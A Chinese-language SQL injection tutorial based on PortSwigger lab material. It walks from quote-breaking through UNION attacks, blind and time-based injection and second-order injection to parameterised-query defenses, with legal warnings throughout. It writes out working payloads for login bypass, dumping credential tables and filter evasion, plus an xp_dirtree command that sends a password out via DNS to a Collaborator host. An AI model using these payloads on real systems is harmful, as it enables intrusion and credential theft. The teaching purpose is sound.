SQL注入到底是怎么操作的?"

admin 2026-10-16 06:04:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

SQL 注入到底是怎么操作的?

原创

钟智强
钟智强

哪吒网络安全

2026年9月30日 20:01
马来西亚

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

WEB SECURITY LAB  ·  ISSUE 01

SQL 注入到底是怎么操作的?

从一颗单引号,到整张用户表被拖走的完整过程

难度 阅读时长 配图 代码段
入门 → 进阶 约 15 分钟 12 张示意图 47 段 payload

原理拆解    手工实操    靶场路线    防御清单    合规声明

本文内容体系参照 PortSwigger Web Security Academy 的 SQL 注入教学主线编写,所有示例均来自其公开教学材料与官方靶场,用于帮助读者理解漏洞原理与防御设计。

本 文 导 航

章节 一句话要点
01  心智模型 注入的本质是「数据被当成代码」
02  第一颗扣子 一个单引号如何改写整条 SQL
03  实战一 检索隐藏数据与登录绕过
04  实战二 UNION 攻击:把别的表拼进结果
05  实战三 侦察数据库:版本 → 表名 → 列名
06  实战四 盲注:用「是 / 否」把数据问出来
07  实战五 时间盲注:用秒表代替眼睛
08  实战六 OAST:让数据库主动找你
09  进阶 二阶注入:危险输入会「复活」
10  方言差异 为什么换个数据库 payload 就失效
11  防御 参数化查询为什么能一劳永逸
12  靶场路线 从 Apprentice 到 Expert 的练习顺序

图 1:SQL 注入的完整攻击链——输入可控、拼接进 SQL、语法被改写、查询语义变化、响应出现差分、数据被读出

写在前面:别背 payload,要理解语义

绝大多数介绍 SQL 注入的文章,最后都会变成一份 payload 清单:' OR 1=1--、UNION SELECT、SLEEP(10)……读者背了一堆咒语,换个数据库、换个上下文,立刻失效。

PortSwigger(Burp Suite 的开发商)的 SQL 注入课程之所以被公认为最好的入门材料,恰恰是因为它不教咒语。它的教学主线是一条严密递进的推理链:

·输入是怎么进入 SQL 语句结构的?(语法边界)

·语法被改写后,查询语义发生了什么变化?(布尔逻辑)

·结果看得到时,怎么把别的表的数据一起带出来?(UNION)

·结果看不到时,怎么把数据一个比特一个比特地问出来?(盲注)

·不同数据库的方言差异,会让同一个 payload 失效在哪里?(语法映射)

·最后回到根本:什么样的写法才不会被注入?(参数化)

本文就沿着这条线,把每一步都拆开讲清楚,并配上 12 张示意图。看完你应该能回答一个问题:给我一个输入框,我该怎么一步步判断它能不能注入、能注入到什么程度。

合规 │ 本文所有示例均出自 PortSwigger 官方教学材料与受控靶场,仅用于漏洞原理学习与防御设计。对任何不属于自己的系统进行测试,都必须事先取得明确书面授权;未经授权扫描或利用他人系统,在中国《网络安全法》《刑法》第 285 条等法律框架下均可能构成违法。请只在靶场里练手。

01   心智模型:注入的本质是「数据被当成代码」

PortSwigger 对 SQL 注入的定义是:一种允许攻击者干扰应用程序发往数据库的查询的 Web 安全漏洞。它可以让攻击者读到本不该看到的数据,在一定条件下还能修改删除数据、绕过应用逻辑、提升权限,甚至进一步攻陷后端基础设施。

请注意定义里的关键词——「干扰查询」。注入的本质不是「让页面报错」,而是不可信输入进入了 SQL 的语句结构层,改变了查询的语义。

一个正常的查询里,用户输入应该只作为一个字符串值参与比较:

SELECT \* FROMproductsWHEREcategory = 'Gifts'ANDreleased = 1

这里的 Gifts 是数据,其余部分是指令。但一旦用户输入里出现单引号、注释符、括号或 SQL 关键字,数据就变成了指令的一部分——这就是注入。

注入点不止在 URL

很多人以为注入只发生在地址栏。实际上,任何最终会被拼进 SQL 的位置都算入口:

·URL 查询参数:?category=Gifts、?id=13

·表单字段:登录框、搜索框、筛选条件

·Cookie:比如 TrackingId 被拿去做「老用户识别」

·HTTP 头:User-Agent、X-Forwarded-For(常被写进日志再被查询)

·文件上传内容 / 反序列化字段

·二阶场景:先存进数据库,之后被另一个功能读出来再拼 SQL

唯一可信的判断方法:差分实验

确认注入点的最低标准,是能「可重复地改变查询语义」。所以正确的做法是做对比实验,而不是看到 500 错误就下结论:

·先记录基线:正常输入的响应状态、长度、耗时、页面文案

·改一个变量:加一个引号,看是否异常;再闭合它,看是否恢复

·真假对照:提交等价条件与不等价条件,比较两次响应

·排除干扰:缓存、会话、限流、WAF 拦截都可能造成假阳性

要点 │ 单独一次的报错、延时或被 WAF 拦截,都不能证明存在 SQL 注入。只有当「真条件」和「假条件」产生稳定、可复现的差异时,才构成有效证据。

02   第一颗扣子:一个单引号如何改写 SQL

图 2:原始查询、注入输入、实际执行语句的对照——-- 把业务约束整段注释掉

假设某电商站点按类别展示商品,并且只显示已发布的商品(released = 1)。后端语句大致是:

原始语句

SELECT \* FROMproductsWHEREcategory = 'Gifts'ANDreleased = 1

现在攻击者在类别参数里提交这样一个值:

Gifts'--

于是数据库真正执行的是:

SELECT \* FROM products WHERE category = 'Gifts'--' AND released = 1

这里发生了两件事:

·单引号 ' 提前闭合了原本包住用户输入的那对引号,让后面的内容变成 SQL 代码

·-- 是 SQL 的行注释符,它把后面原本的 ' AND released = 1 整段注释掉了

结果:用于隐藏未发布商品的业务约束被删除,未发布的商品全部出现在页面上。这就是 PortSwigger 靶场第一关「retrieval of hidden data」的全部原理。

记住 │ 记住这个模型:攻击者的目标从来不是「让语句报错」,而是让报错后的合法语句,恰好表达出一个越权的查询条件。

检测阶段的标准 payload 组合

在不确定的时候,可以按这四组思路做差分测试:

1. 引号异常 → 闭合恢复

Gifts'          页面异常 / 500
Gifts''         页面恢复正常(两个引号重新配对)

2. 真假条件对照

' OR '1'='1     条件恒真 → 返回更多数据
' OR '1'='2     条件恒假 → 与基线一致

3. 字符串拼接探测(不同数据库写法不同)

'||'ab          Oracle / PostgreSQL
' 'ab           MySQL(两个字符串之间有空格)
'+'ab           MicrosoftSQLServer

4. 时间型探测(真假两条都要测)

'; SELECTpg\_sleep(10)--       PostgreSQL
'; SELECTSLEEP(10)--          MySQL

03   实战一:检索隐藏数据 与 登录绕过

理解了引号闭合,第一个实战就非常好懂。

跨类别查看:OR 1=1

如果不想只去掉 released 条件,而是想看所有类别的所有商品,就加一个恒真条件:

https://insecure-website.com/products?category=Gifts'+OR+1=1--

SELECT \* FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

因为 1=1 恒真,OR 运算让整个 WHERE 条件恒真,查询返回的范围随之扩大。这里的 OR 1=1 不是什么神秘口令,就是布尔代数在 WHERE 子句里的直接利用。

警告 │ PortSwigger 特别提醒:如果这个参数后续会进入 UPDATE 或 DELETE 语句,同样的 OR 1=1 可能导致全表被更新或删除。所以在真实授权测试中,使用这类 payload 要极其谨慎。

图 3:把 administrator'-- 填进用户名字段,密码校验条件被注释掉

登录绕过:把密码校验「注释」掉

假设登录逻辑执行的是这样一条查询,查到记录就算登录成功:

SELECT \* FROMusersWHEREusername = 'wiener'ANDpassword = 'bluecheese'

攻击者把用户名填成 administrator'--,密码留空,语句变成:

SELECT \* FROM users WHERE username = 'administrator'--' AND password = ''

-- 之后的内容全部失效,生效的条件只剩 username = 'administrator'。应用查到了管理员记录,于是直接以管理员身份登录。

把这个思路落到 HTTP 请求上,就是这样:

POST /loginHTTP/1.1
Host: example.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

csrf=8fJ2xK...&username=administrator'--&password=

提示 │ 要向读者澄清一点:这个例子依赖的是一个非常脆弱的模型——明文比较密码、且「查到一条记录」就被直接当作身份验证通过。现实中如果密码用了哈希存储、结果还需二次校验,绕过不会这么直接。

04   实战二:UNION 攻击,把别的表「拼」进来

前面只是让原查询返回更多行。真正的杀伤力来自 UNION——它能为原查询「追加」一段全新的查询结果,从而读取完全不相干的表。

图 4:UNION 像是给原查询挂上另一节车厢,车厢数与装载规格必须一致

UNION 有三条硬规则,缺一不可:

·两条 SELECT 的列数必须相同

·对应列的数据类型必须兼容

·合并后的结果必须能在页面上显示出来(回显)

第一步:数出原查询返回几列

有两种方法,各有适用场景。

图 5:先用 ORDER BY 或 UNION SELECT NULL 定出列数,再逐列找出能显示文本的列

方法 A 是 ORDER BY 递增试探。ORDER BY 可以按「位置」引用列,不需要知道列名,当索引超过实际列数时,数据库会报错或响应发生变化:

' ORDERBY1--
' ORDERBY2--
' ORDERBY3--
' ORDER BY 4--   ← 报错

方法 B 是 UNION SELECT NULL 递增。NULL 能兼容绝大多数类型,列数对得上时就能正常返回:

' UNIONSELECTNULL--            报错
' UNIONSELECTNULL,NULL--       报错
' UNION SELECT NULL,NULL,NULL--  正常回显

第二步:找出哪一列能显示文本

知道列数之后,逐列放入同一个标记字符串,看哪一列会把值显示出来:

' UNION SELECT 'a',NULL,NULL--     页面无 'a'
' UNION SELECT NULL,'a',NULL--     页面出现 'a'  ← 这一列可用
' UNION SELECT NULL,NULL,'a'--     页面无 'a'

第三步:换成真正想要的字段

' UNIONSELECTNULL, username, password, NULLFROMusers--

账号和密码就这样混在商品列表里显示出来了。如果只有一个回显列可用,就把多个字段拼成一个字符串,中间加个分隔符:

' UNION SELECT username || '~' || password FROM users--   -- Oracle
' UNION SELECT CONCAT(username, '~', password) FROMusers--   -- MySQL

页面会显示类似 administrator~s3cure、wiener~peter 这样的结果。

警告 │ 两个最容易翻车的细节:Oracle 的每个 SELECT 都必须带 FROM,所以要写成 ' UNION SELECT NULL FROM DUAL--;MySQL 的 -- 后面必须跟一个空格,或者直接改用 # 作为注释符。

05   实战三:侦察数据库,从版本到表结构

图 6:类型与版本 → 表名 → 列名 → 数据,顺序不能乱

能 UNION 回显之后,就可以开始系统性地摸清数据库结构了。顺序建议固定为:数据库类型 → 版本 → 表名 → 列名 → 数据。

先判断数据库类型与版本

' UNION SELECT @@version--            -- Microsoft SQL Server / MySQL
' UNIONSELECTversion()--           -- PostgreSQL
' UNIONSELECTbannerFROMv$version--   -- Oracle

再枚举表名与列名

除 Oracle 外,绝大多数数据库都提供 information\_schema 这套视图:

SELECT \ FROMinformation\_schema.tables;
SELECT \
 FROMinformation\_schema.columnsWHEREtable\_name = 'Users';

Oracle 用自己的数据字典视图,注意对象名通常是大写:

SELECT \ FROMall\_tables;
SELECT \
 FROMall\_tab\_columnsWHEREtable\_name = 'USERS';

提示 │ 很多新手会直接猜 username、password 这两个字段名。正确做法是先用系统视图把列名查出来,再构造最终查询——这就是为什么侦察顺序必须排在取数之前。

06   实战四:盲注——页面什么都不显示怎么办

盲注并不是数据库没执行你的注入,而是应用既不回显查询结果、也不显示详细错误。这时候要把「读取数据」这件事,翻译成一连串的「是 / 否」问答。

共同模型非常朴素:一次请求 = 一个问题 = 一个比特。

图 7:条件响应、条件错误、时间延迟、OAST 带外——四种把数据「问」出来的方式

① 条件响应(Boolean-based)

假设有个 Cookie 值 TrackingId 被拿去查询,用它来识别老用户并显示「欢迎回来」:

TrackingId=xyz' AND '1'='1     → 出现「Welcome back」
TrackingId=xyz' AND '1'='2     → 没有欢迎语

两次响应有稳定差异,说明注入的条件确实进入了查询。接下来把恒真条件换成具体的字符判断:

TrackingId=xyz' AND (SELECT CASE WHEN (Username = 'Administrator'
  AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

条件为真时走 1/0 触发除零错误,条件为假时返回 'a'。于是「报错 = 真、正常 = 假」,这就是典型的条件错误(Error-based)信号编码。

② 条件错误(Error-based)

使用之前必须先确认一件事:哪个分支对应「真」。不同应用的错误表现不同,一定要先用 '1'='1 和 '1'='2 校准,再开始逐位推断。

③ 可见报错:让错误信息帮你带数据

如果应用会显示数据库错误,还能把数据直接塞进错误消息里。比如 PostgreSQL 中把字符串强转成整数:

SELECTCAST((SELECTpasswordFROMusersLIMIT1) ASint)

数据库会报:invalid input syntax for type integer: \"secret\" —— 秘密就这样出现在错误提示里。

要点 │ 这是教学靶场中刻意保留的错误回显,用于理解原理。实战中不应依赖报错,更不该在生产环境开放详细错误信息——对防御方来说,错误信息通用化是必须做的。

④ 逐位推断:用二分法把整串密码拼出来

有了稳定的真假信号,剩下的就是体力活:对每一位字符反复二分。先问「第 1 位是否 > 'm'」,再问「是否 > 'f'」……大约 5~7 次请求就能确定一个字符,一个 20 位的密码需要一百多次请求。这也是为什么盲注通常需要自动化脚本配合。

07   实战五:时间盲注,用秒表代替眼睛

图 8:真条件让数据库睡眠,假条件立即返回,用响应时间判断条件真假

当错误被吞掉、页面差异又不明显时,可以让数据库「睡一会儿」来传递信号。SQL Server 的写法是:

'; IF (1=2) WAITFOR DELAY '0:0:10'--     不延时
'; IF (1=1) WAITFOR DELAY '0:0:10'--     延时 10 秒

把它换成真正的密码判断:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username='Administrator'
      AND SUBSTRING(Password,1,1) > 'm') = 1 WAITFOR DELAY '0:0:10'--

因为查询是同步执行的,HTTP 响应时间就直接反映了条件的真假。

警告 │ 时间盲注最容易误判。必须先测基线耗时,同一条件重复 3~5 次取中位数,并且真假两条分支都要测——只测一次 10 秒就下结论,很可能把网络抖动当成注入。

08   实战六:OAST,让数据库主动「打电话」给你

图 9:页面毫无变化,但你的服务器收到了数据库发起的 DNS 查询

OAST(带外应用安全测试)适用于其他盲注技术都不奏效的场景,而且它有一个巨大优势:可以直接把数据经带外通道传出来。DNS 通常是生产网络默认放行的协议,因此比 HTTP 回调更容易被观察到。

SQL Server 上的触发方式(借助 xp\_dirtree 发起 UNC 路径解析):

'; exec master..xp\_dirtree '//<随机子域>.burpcollaborator.net/a'--

如果 Burp Collaborator 收到了 DNS 查询,就证明 payload 被执行了。下一步是把查询结果拼进域名里,直接把数据「寄」出来:

'; declare @pvarchar(1024);
   set @p=(SELECTpasswordFROMusersWHEREusername='Administrator');
   exec('master..xp\_dirtree \"//'+@p+'.<你的域名>.burpcollaborator.net/a\"')--

随后你在 Collaborator 面板里会看到一条 S3cure.<你的域名>.burpcollaborator.net 的查询记录——密码就这样被带出来了。

要点 │ 这类攻击是异步的:HTTP 响应可能完全正常,证据却出现在另一个服务端。同时,文件读取、命令执行这类能力通常还受数据库账户权限、安全策略和文件系统权限的共同限制。

09   进阶:二阶注入——危险输入会「复活」

图 10:写入时是安全的,从数据库读出来再次拼进 SQL 时才爆发

一阶注入是输入直接进 SQL;二阶注入则是输入先被安全地存进数据库,之后被另一个功能读出来,再次以不安全的方式拼进 SQL。

关键在于:存入时可能经过了转义或参数化,看起来没有漏洞;但读取端误以为「数据库里的数据 = 可信的内部数据」,于是放松了警惕。

-- 第一步(存储):安全写入
用户输入 → 经参数化/转义 → 存入 users.display\_name

-- 第二步(读取):漏洞爆发
SELECT \* FROM orders WHERE user = '<从数据库读出的 display\_name>' AND status='open'

记住 │ 防御边界必须按「每一次 SQL 拼接点」计算,而不是按「数据来自外部还是数据库」计算。数据不是洗干净一次就永远干净——它每次离开代码进入 SQL 之前,都要重新被当作不可信数据。

10   为什么你的 payload 换个数据库就失效了

这是中文教程最容易误导人的地方:让人以为 ' OR 1=1-- 在哪里都通用。事实是,注释符要不要空格、字符串怎么拼接、能不能堆叠语句、SELECT 要不要 FROM,全都取决于具体的 SQL 方言。

语法目标 Oracle Microsoft SQL Server PostgreSQL MySQL
字符串拼接 'foo' 'bar' 'foo'+'bar'
注释符 -- --   /\ \/ --   /\ \/ #   -- (后需空格)  /\ \/
版本查询 banner FROM v$version SELECT @@version SELECT version() SELECT @@version
条件错误 CASE WHEN … THEN TO\_CHAR(1/0) CASE WHEN … THEN 1/0 1=(CASE WHEN … 1/(SELECT 0)) SELECT IF(…, (SELECT …), 'a')
无条件延时 dbms\_pipe.receive\_message(('a'),10) WAITFOR DELAY '0:0:10' SELECT pg\_sleep(10) SELECT SLEEP(10)
条件延时 条件触发 receive\_message IF 条件 WAITFOR DELAY '0:0:10' CASE WHEN … pg\_sleep(10) SELECT IF(条件, SLEEP(10), 'a')
系统表 all\_tables / all\_tab\_columns information\_schema.tables information\_schema.tables information\_schema.tables
SELECT 需 FROM 是(用 DUAL) 否 否 否

表 1:PortSwigger SQL injection cheat sheet 中的跨数据库语法对照。

另外还有一类常见的「绕过」思路,本质上是利用应用层与数据库层的解析器差异:

·SQL 关键字不区分大小写:SELECT 可以写成 SeLeCT

·用内联注释代替空格:SELECT/\\/username/\\/FROM/\\/users

·MySQL 版本化注释:/\!SELECT\/

·URL 双重编码、XML 编码绕过输入过滤

警告 │ 这些不是对任意 WAF 都有效的万能绕过,只用于演示不同解析器之间的差异。请勿把它们等同于对现实系统的可利用性判断。

11   防御:为什么参数化查询能一劳永逸

图 11:参数化先固定语句结构,再绑定数据,畸形输入无法改写语法树

PortSwigger 把参数化查询(prepared statements)列为最有效的防护方式,原因是它的执行顺序从根本上杜绝了语义改写:

·第一步:定义查询结构,用占位符 ? 表示将来要填入的数据

·第二步:把实际值以类型化的方式绑定到占位符上

因为语句结构在第一步就已经固定,第二步送进来的畸形数据,无论长什么样,都只会被当作一个值,永远不可能变成新的 SQL 条件。

// ✕ 错误:字符串拼接
Stringsql = \"SELECT \* FROM products WHERE category = '\" + input + \"'\";

// ✓ 正确:参数化查询
PreparedStatementst = conn.prepareStatement(
    \"SELECT \* FROM products WHERE category = ?\");
st.setString(1, input);

第二种写法下,即使 input 是 Gifts' OR 1=1--,它也只会被当作 category 的一个值去匹配,查不到任何商品,攻击自然失败。

参数化管不到的四个位置

占位符只能替换「标量值」。下面这些位置不是值,而是 SQL 的标识符或语法成分,无法参数化,必须改用白名单映射:

无法参数化的位置 风险 正确做法
ORDER BY 排序字段 注入 UNION / 子查询 sort=name 固定映射为 ORDER BY username
表名 / 列名 任意查询其他表 服务端枚举白名单,禁止直传
ASC / DESC 方向 拼接恶意表达式 只允许两个固定取值
LIMIT / OFFSET 分页 数字型注入 强制转型为整数并限定范围

表 2:参数化覆盖不到的位置与对应的白名单方案。

一份完整的防御清单

·所有可变标量值统一使用参数化查询,这是第一道也是最重要的一道

·所有 SQL 标识符(表名、列名、排序方向)使用白名单或服务端映射

·数据库账户遵循最小权限原则:应用账号不该有 DROP、文件读写、命令执行权限

·错误信息通用化,不要把查询语句、栈轨迹或类型转换细节暴露给客户端

·使用 ORM 也要检查是否误用了原生查询接口——ORM 只是工具,拼接点仍在调用方

·对从数据库读回的数据,同样保持不信任(防止二阶注入)

·上线前用扫描器覆盖入口,再用人工差分请求验证,避免误报

要点 │ 转义不是参数化的等价替代:数字型上下文可能根本没有引号可转,二阶注入还可能把已转义的字符恢复原样。存储过程也不天然免疫——只要它内部继续拼接动态 SQL,照样会产生注入。

12   照着这条线练:靶场路线图

图 12:从 Apprentice 到 Expert 的五关练习顺序

PortSwigger Web Security Academy 的 SQL 注入主题目前提供 30 个 Lab,全部在受控靶场内,免费且合法。建议按下面这条线刷:

关卡 代表性 Lab 对应知识点 难度
1 retrieval of hidden data 引号闭合、注释截断 Apprentice
1 login bypass 登录查询、注释掉密码条件 Apprentice
2 determining the number of columns ORDER BY / NULL 列数判断 Apprentice
2 finding a column containing text 逐列定位可显示文本的列 Apprentice
2 retrieving data from other tables 跨表 UNION 取数 Apprentice
2 retrieving multiple values in a single column 单列拼接多字段 Apprentice
3 querying the database type and version (Oracle) DUAL、v$version Practitioner
3 querying the database type and version (MySQL/MSSQL) @@version 方言差异 Practitioner
3 listing the database contents on non-Oracle information\_schema 枚举 Practitioner
3 listing the database contents on Oracle all\_tables / all\_tab\_columns Practitioner
4 Blind SQL injection with conditional responses 欢迎语差分、逐位推断 Practitioner
4 Blind SQL injection with conditional errors CASE WHEN 条件除零 Practitioner
4 Visible error-based SQL injection CAST 错误消息带出数据 Practitioner
4 Blind SQL injection with time delays 条件时间延迟 Practitioner
5 filter bypass via XML encoding XML 编码绕过输入过滤 Practitioner
5 Blind SQL injection with out-of-band (OAST) DNS/HTTP 带外探测与外传 Expert
5 二阶注入 + 条件响应 持久化后再次拼接触发 Expert

表 3:按学习顺序整理的代表性 Lab 清单(官方共 30 个)。

提示 │ 练习时请务必保留四样东西:原始查询、注入输入、实际执行的语句、观察到的响应信号。只背 payload,换一个数据库就会失效;记下这四样,你才真正掌握了一套可迁移的方法。

写在最后

回过头看,SQL 注入的全部秘密其实只有一句话:只要用户可控的数据能被拼进 SQL 的命令结构,攻击者就可能改变查询语义。

由这一句话,才推导出后面所有的技术分支——结果能回显就用 UNION,不能回显就靠条件响应、条件错误、时间延迟或 OAST 一个比特一个比特地问;数据库方言不同就换一套语法;最后回到根本,用参数化把结构和数据彻底分离。

对开发者来说,最值得记住的不是任何一个 payload,而是这一条架构原则:查询模板与数据分离。把它写进团队的代码规范,比任何 WAF 都有效。

合规 │ 请只在获得明确授权的环境或官方靶场中练习本文内容。未经授权对他人系统进行测试或利用,可能触犯《网络安全法》《数据安全法》以及《刑法》第 285 条等相关法律规定。技术本身中立,使用方式决定它的性质。

参考资料

· PortSwigger · SQL injection 主线课程  https://portswigger.net/web-security/sql-injection

· PortSwigger · SQL injection cheat sheet  https://portswigger.net/web-security/sql-injection/cheat-sheet

· PortSwigger · UNION attacks  https://portswigger.net/web-security/sql-injection/union-attacks

· PortSwigger · Examining the database  https://portswigger.net/web-security/sql-injection/examining-the-database

· PortSwigger · Blind SQL injection  https://portswigger.net/web-security/sql-injection/blind

—  全 文 完  —

UNION 跨表取数    四类盲注    OAST 带外    二阶注入    参数化查询 )



SQL注入到底是怎么操作的?" 网络安全文章

SQL注入到底是怎么操作的?"

本文系统讲解SQL注入原理与实操,从单引号闭合到UNION注入、盲注等完整攻击链,强调理解语义而非背payload。文章基于PortSwigger教学材料,提供检测方法、实战案例与防御清单,核心结论是参数化查询可有效防御注入,并强调合规测试需授权。
评论:0   参与:  0